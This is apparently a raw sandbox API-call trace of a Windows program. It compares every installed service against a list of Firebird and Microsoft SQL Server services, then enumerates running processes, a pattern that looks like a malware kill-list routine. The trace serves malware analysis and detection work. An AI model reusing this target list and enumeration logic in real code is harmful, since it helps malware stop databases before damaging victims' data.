	[0165.908] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0165.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0165.908] lstrlenW (lpString="EventLog") returned 8
	[0165.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0165.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0165.909] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0165.909] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0165.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0165.909] lstrlenW (lpString="EventSystem") returned 11
	[0165.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0165.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0165.909] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0165.909] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0165.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0165.909] lstrlenW (lpString="FontCache") returned 9
	[0165.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0165.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0165.909] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0165.909] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0165.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0165.909] lstrlenW (lpString="gpsvc") returned 5
	[0165.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0165.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0165.909] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0165.909] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0165.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0165.909] lstrlenW (lpString="iphlpsvc") returned 8
	[0165.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0165.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0165.909] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0165.909] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0165.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0165.909] lstrlenW (lpString="KeyIso") returned 6
	[0165.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0165.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0165.910] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0165.910] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0165.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0165.910] lstrlenW (lpString="LanmanServer") returned 12
	[0165.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0165.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0165.910] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0165.910] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0165.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0165.910] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0165.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0165.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0165.910] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0165.910] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0165.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0165.910] lstrlenW (lpString="lfsvc") returned 5
	[0165.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0165.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0165.910] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0165.910] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0165.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0165.910] lstrlenW (lpString="lmhosts") returned 7
	[0165.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0165.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0165.911] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0165.911] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0165.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0165.911] lstrlenW (lpString="LSM") returned 3
	[0165.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0165.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0165.911] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0165.911] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0165.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0165.911] lstrlenW (lpString="MpsSvc") returned 6
	[0165.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0165.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0165.911] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0165.911] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0165.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0165.911] lstrlenW (lpString="NcbService") returned 10
	[0165.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0166.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0166.159] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0166.159] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0166.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0166.159] lstrlenW (lpString="netprofm") returned 8
	[0166.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0166.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0166.159] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0166.159] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0166.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0166.159] lstrlenW (lpString="NgcSvc") returned 6
	[0166.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0166.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0166.159] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0166.159] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0166.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0166.159] lstrlenW (lpString="NlaSvc") returned 6
	[0166.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0166.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0166.160] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0166.160] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0166.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0166.160] lstrlenW (lpString="nsi") returned 3
	[0166.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0166.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0166.160] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0166.160] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0166.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0166.160] lstrlenW (lpString="PcaSvc") returned 6
	[0166.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0166.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0166.160] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0166.160] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0166.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0166.160] lstrlenW (lpString="PlugPlay") returned 8
	[0166.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0166.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0166.160] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0166.160] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0166.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0166.160] lstrlenW (lpString="Power") returned 5
	[0166.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0166.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0166.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0166.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0166.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0166.161] lstrlenW (lpString="ProfSvc") returned 7
	[0166.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0166.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0166.161] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0166.161] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0166.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0166.161] lstrlenW (lpString="RpcEptMapper") returned 12
	[0166.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0166.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0166.161] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0166.161] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0166.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0166.161] lstrlenW (lpString="RpcSs") returned 5
	[0166.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0166.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0166.161] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0166.161] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0166.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0166.161] lstrlenW (lpString="SamSs") returned 5
	[0166.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0166.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0166.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0166.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0166.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0166.161] lstrlenW (lpString="Schedule") returned 8
	[0166.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0166.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0166.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0166.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0166.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0166.162] lstrlenW (lpString="SecurityHealthService") returned 21
	[0166.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0166.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0166.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0166.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0166.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0166.162] lstrlenW (lpString="SENS") returned 4
	[0166.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0166.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0166.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0166.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0166.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0166.162] lstrlenW (lpString="ShellHWDetection") returned 16
	[0166.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0166.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0166.162] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0166.162] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0166.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0166.163] lstrlenW (lpString="Spooler") returned 7
	[0166.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0166.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0166.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0166.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0166.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0166.163] lstrlenW (lpString="StateRepository") returned 15
	[0166.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0166.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0166.163] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0166.163] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0166.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0166.163] lstrlenW (lpString="SysMain") returned 7
	[0166.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0166.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0166.163] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0166.163] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0166.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0166.163] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0166.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0166.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0166.163] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0166.163] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0166.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0166.163] lstrlenW (lpString="Themes") returned 6
	[0166.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0166.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0166.164] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0166.164] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0166.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0166.164] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0166.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0166.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0166.164] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0166.164] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0166.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46f03f0 | out: hHeap=0x4f0000) returned 1
	[0166.164] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c
	[0166.267] Process32FirstW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0166.268] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0166.269] lstrlenW (lpString="System") returned 6
	[0166.269] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0166.270] lstrlenW (lpString="smss.exe") returned 8
	[0166.270] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0166.271] lstrlenW (lpString="csrss.exe") returned 9
	[0166.271] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0166.272] lstrlenW (lpString="wininit.exe") returned 11
	[0166.272] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0166.273] lstrlenW (lpString="csrss.exe") returned 9
	[0166.273] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0166.274] lstrlenW (lpString="winlogon.exe") returned 12
	[0166.274] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0166.275] lstrlenW (lpString="services.exe") returned 12
	[0166.275] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0166.276] lstrlenW (lpString="lsass.exe") returned 9
	[0166.276] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0166.277] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0166.277] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0166.278] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0166.278] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.279] lstrlenW (lpString="svchost.exe") returned 11
	[0166.279] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.279] lstrlenW (lpString="svchost.exe") returned 11
	[0166.279] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0166.280] lstrlenW (lpString="dwm.exe") returned 7
	[0166.280] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.281] lstrlenW (lpString="svchost.exe") returned 11
	[0166.281] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.282] lstrlenW (lpString="svchost.exe") returned 11
	[0166.282] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.283] lstrlenW (lpString="svchost.exe") returned 11
	[0166.283] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.284] lstrlenW (lpString="svchost.exe") returned 11
	[0166.284] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.285] lstrlenW (lpString="svchost.exe") returned 11
	[0166.285] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.286] lstrlenW (lpString="svchost.exe") returned 11
	[0166.286] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.287] lstrlenW (lpString="svchost.exe") returned 11
	[0166.287] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.288] lstrlenW (lpString="svchost.exe") returned 11
	[0166.288] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.288] lstrlenW (lpString="svchost.exe") returned 11
	[0166.289] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.290] lstrlenW (lpString="svchost.exe") returned 11
	[0166.290] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0166.291] lstrlenW (lpString="spoolsv.exe") returned 11
	[0166.291] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.415] lstrlenW (lpString="svchost.exe") returned 11
